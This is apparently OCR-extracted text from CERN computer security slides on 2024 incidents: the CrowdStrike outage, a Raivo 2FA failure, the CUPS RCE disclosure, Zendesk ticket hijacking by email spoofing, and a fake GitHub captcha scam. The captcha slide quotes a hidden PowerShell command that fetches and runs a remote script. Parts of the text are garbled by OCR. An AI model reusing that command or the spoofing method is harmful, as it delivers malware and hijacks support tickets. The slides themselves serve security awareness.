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Preamble

“Freedom, security, convenience -
choose two” (Dan Geer)

Consequently:

“Security will always be exactly

as bad as it can possibly be

while allowing everything to still function.”
(Nat Howard)




i —— CrowdStrike boss apologises for 'mistake
that caused global IT outage

The global IT failure led to worldwide flight cancellations and impacted industries around
the globe including banks, health care, media companies and hotel chains.

Global IT outage: CrowdStrike issue could
take 'weeks' to clear as airports warn of
disruption this weekend

More than 5,000 flights were cancelled as a global IT outage hit Windows PCs on Friday,
while the "majority" of GP surgeries in England and Northern Ireland were affected.

By Rachel McGrath, news reporter © Wednesday 25 September 2024 13:05, UK
b HOME  SHOWS O NEWSFEED  [J LIVE

Saturday 20 July 2024 06:11, UK

FRANCE AFRICA MIDDLE EAST AMERICAS EUROPE ASIA-PACIFIC

Nearly 8.5 million Windows devices across the gig; ly

globe affected by CrowdStrike update outage Otherwise, choose “See advanced repair options”
AMERICAS which option is right for you, contact someone you

Millions of computers and devices the world over were affected by the outage that
was caused by a CrowdStrike update, Microsoft said in a blog post on Saturday. The
tage resulted in thot i< of flinhte haina llad leavi atranded

or grappling with hours of de¢
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Raivo = CERN’s own Crowdstrike Moment

2FA issue with the app Raivo on iPhone #'Edit > May 30th 9h .
Type: Service Incident Resolution date: Mon Jun 03, 2024 10:05 (1 H 'd C J H 79
Begin: B Thu May 30,2024 09:00 Single Sign On and Account Management Service: People queUIng OUtSI e' an t Iogln muw

Impact: Degraded @ Authentication
s
Last Updated: B8 Tue Jun 04, 2024 16:05 Services Affected: Single Sign On and Account

Locations: Not Specified Management Services > [ -as “Raivo,, update corrupted the
local OTP database with v1.5...

iPhond : _ _
Ralvoj . » ...when auto-installed by iPhones
imply the best authenticator

On. Ra ion
genera| ermn; (V1.6 OK)-
A native, lightweight, non-commercial and secure multi- [

_RaiVO factor authenticator that svnchronises vour one-time ”> May 30th 10h: CERN 2FA disabled. .n

passwi
o' Ente Auth . » ...to allow migration to “Ente Auth”.

o ; Open source 2FA authenticator, with end-

to-end encrypted backups » June 39 CERN 2FA reenabled

@) https://cern.service-now.com/service-portal?id=outage&n=0TG0150265



CUPS - Exploiting “Unix’ Common Printing System”

&« Post

IT 3 Simone Margaritelli
-

https://x.com/evilsocket/status/1838169889330135132 - potential 0-day

* Unauthenticated RCE vs all GNU/Linux systems (plus others) disclosed CUPS is running on all CC7 machines. isn't it?
i ) isr ng all \ach S, ISI !

| ATTACKING UNIX SYSTEMS VIA CUPS, PART I
jto share? &3

» Most systems (servers!) most likely don’t

Hello friends, this is the first of two, possibly three (if and when I have time t

I've si writeups. We will start with targeting GNU/Linux systems with an RCE. As someone need for cups_browsed

CUPS project said:

resea
helpi u
acceq] . . . ) . . . H H
From a generic security point of view, a whole Linux system as it is nowadays is > us unlns a I
[N ]
CVSS: mess of security holes waiting to be exploited.

B » ...and wait for Part 2 (announced but

While this is not the first time I try to more or less responsibly report a vulne

A“a: weirdest and most frustrating time as some of you might have noticed from my socials - -
B tore on thio later, but firet. unclear which- CUPS'component s
- . . .
this time...)

"full disclosure happening at 20:00 UTC today'... apparently

Temporal Score Critical

@ https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/



Zendesk Data Exposure thru Email Spoofing

» support@{company} .comuses Zendesk

hi, i'm daniel. i'm a 15-year-old with some programming expel
insane story of how | found a single bug that affected over hal

» Zendesk replies with
support+id{id}@{company} .com

Here's how it worked: When you send an email to a company’s
creates a new support ticket. To keep track of the email thread,
looks like this: support+id{id}@company.com , where {id} is the

replies you send go directly to the same ticket. > YOU gUeSS {ld} & {COInpa.nY} ) Send an

R . email spoofing the original sender and
The exploit was simple: if an attacker knew the support email a !
ticket 1Ds are incremental), they could use email spoofing to im get fU” access to that thket

support+id{id}@company.com from the requestor’s email addre

was legitimate. It would then add the attacker’s email to the ticpw Th|S |S also Why deploy”"]g

SPF/DMARC/DKIM is essential (but painful)!
Do you have DMARC?

Caltech.edu, CUni.cz, UCSD.edu, DESY.de, INFN.it,
IN2P3.fr, BNL.gov, UChicago.edu

@ https://gist.github.com/hackermondev/68ec8ed145fcee49d2f5e2b9d2cf2e52



Fake GitHub Site Targeting Developers

Published: 2024-09-19. Last Updated: 2024-09-19 20:14:39 UTC

o A2 D T k) * Fake Github website (“Github-scanner”)...
¢ &, [J % httpsif/github-scanner.com (| & A @ ((5 <

...using deceptlve “Captcha”...

..downloads and executes malware.

Ay =gm = g= ML

JavaScript on the website copied an exploit string into the user's clipboard. The "Windows"+R sequence opens the Windows run
dialog, and the victim is enticed to execute the code. The script:

powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner[.]com/download.txt').Content" # "?
"'"I am not a robot - reCAPTCHA Verification ID: 93752"

This simple and effective script will download and execute the "download.txt" script. The victim will likely never see the script. Due to
the size of the run dialog, the victim will only see the last part of the string above, which may appear perfectly reasonable given that
the victim is supposed to prove that they are human

https://isc.sans.edu/diary/31282



EDUCATION RANSOMWARE ATTACKS BY GANG

ORGANIZATIONS LISTED ON LEAK SITE SINGE OCTOBER 2021

Riant izn I

4 hits
Dec 31, 2022 @ 08:39:30.827 - Jan 30, 2023 @ 08:39:30.827 Auto

Selected fields
_source

Available fields

Popular
t method

o srcip timestamp per 12 hours
@

success Time - source

bt Jan 23, 2023 @ 03:35:36.663 grcip: 194.5.212.214 method: password pid: 1,868,231 type: login toplevel_hostgroup: 1xplus environment: ga
success: false host: 1xplus8s@8.cern.ch hostgroup: lxplus/nodes/login srcport: 39,886 user: student6 timestamp: Jan 23,
2023 @ 093:35:36.663 _id: AAABhdx7J1dQA79nzeDc-QmUyFf)SSSZ _type: - _index: csli:csl_login-2023.81.23 _score: -

il type Jan 23, 2023 @ ©3:12:29.382  greip: 194.5.212.214 method: password pid: 1,861,287 type: login toplevel_hostgroup: lxplus environment: ga

success: false host: lxplus8s@8.cern.ch hostgroup: 1xplus/nodes/login srcport: 46,308 user: bot timestamp: Jan 23, 2023
@ 03:12:29.382 _1d: AAABhdxl_EbLCa7ebgolRkpKIbirYodD _type: - _index: csll:csl_login-2823.81.23 _score: -

t environment

host

hostgroup > Jan 22, 2023 © 20:07:43.410  grcip: 194.5.212.214 method: password pid: 648,925 type: login toplevel_hostgroup: lxplus environment: qa
pid success: false host: lxtunnel®3.cern.ch hostgroup: lxplus/tunnel srcport: 55,594 user: guest timestamp: Jan 22, 2023 @
srcport 20:07:43.410 _id: AAABhdrhGbLxA3G377YsI02562872VC_ _type: - _index: csli:csl_login-2023.81.22 _score: -

timestamp

Jan 22, 2023 @ 19:26:29.650 . . . . . 5
toplevel_hostgroup srcip: 194.5.212.214 method: password pid: 1,605,002 type: login toplevel _hostgroup: lxplus environment: ga
success: false host: 1xplus8s@8.cern.ch hostgroup: 1lxplus/nodes/login srcport: 58,898 user: ° '~ timestamp: Jan 22,

2023 € 19:26:29.650 _id: AAABhdq7WpKwNPm9-KS9mIUjryi F3rky _type: - _index: csll:csl_login-2023.81.22 _score: -

type




A.Real Life.Exam

Jun 20,

- Jun 20,

ple

2023 @ ©5:43:57.732 cat .bash_history

2023 @ ©5:44:21.033

mkdir /afs/cern.ch/user

ackTool/Linux.xhide.b(1890858424)
HackTool/Linux.xhide.b(189050424)
hacktool/ELF.sshbrute.g(2705€0934)
HackTool/Linux.prochider.b(188636574)
HackTool/Linux.prochider.b(188636574)
hacktool/ELF.portscan.zf(440340387)
hacktool/ELF.sshbanner.a(440314299)

J 0, 2023 @ ©6:26:59.942 4

e —

:1f8:0:0:100:1e
:b8:0:0:101:98ad
2:18:0:0:100:1e
:1f8:0:0:100:1e
:b8:0:0:101:98ad
:1f8:0:0:100:1e
:1f8:0:0:100:1e
b@l.cern.ch

econnaissance

atustc-int-c6-83.c
pcatum@3.dyndns6.
atustc-int-c6-03.
atustc-int-c6-03.
pcatum@3.dyndnsé6.
atustc-int-c6-03.
atustc-int-c6-03.




Beyond the WLCG, EGI and OSG

Engage with South American CERTSs:

cutly, 3 » Mailing list & Keybase group
W eeeeeeeeeeet ') R=ENNTA
L o v » Alerts on ransomware (18) + Ebury (4)
o " RNP + 43.338 compromised passwords
cedia-

» Deploying MISP to 8 NRENS
» PDNS SOC tested at 4 NRENS

» Join regional conferences on those
subjects

@ https://cern.ch/sicura-lac



WLCG: Move to more pragmatic security

Collaboration is key... Unfortunately, not all 170 sites of the WLCG have
the same level of maturity w/r security (or/and the resources to maintain
that level). Hence, EGI & WLCG are thinking of

» Regular (virtual) meetings to discuss updates & ideas

» a Workshop & Hands-On Event (2025, likely at CERN)

» Plan for a newsletter with security updates
» Shared repository of policies & procedures '

» Enhanced documentation on logging & traceability. pDNS SOC anyone?

Contact Pau.Cutrina@cern.ch (EGI) and/or Jose.Carlos.Luna@cern.ch (WLCG)



mailto:Pau.Cutrina@cern.ch
mailto:Jose.Luna.Duran@cern.ch

Conclusions

If we want te=a#/keep up with this marathon, we should/must(!):

» More often choose “security” instead of “convenience”
» More often consider “privacy” instead of “freedom”;

» Have direct ties with the community to learn quickly about the malicious evil
(and where they affect/attack us);

» Have good traceability & logging in place
to figure out whether/where(!) we are attacked/affected,;

» Have good configuration management for prompt and agile patching
(office computing, data center and control systems!);

» Accept that we do not and cannot control the full phase-space.
Protection is often difficult/impossible, and = for sure = costly.




www.cern.ch

Thank you! Questions?

https://cern.ch/security e
https://security.web.cern. ch/traln|ng/en/CERN%ZOArtches%ZOOn%ZOComputer%ZOSecurlty pdf

On Computer Sec




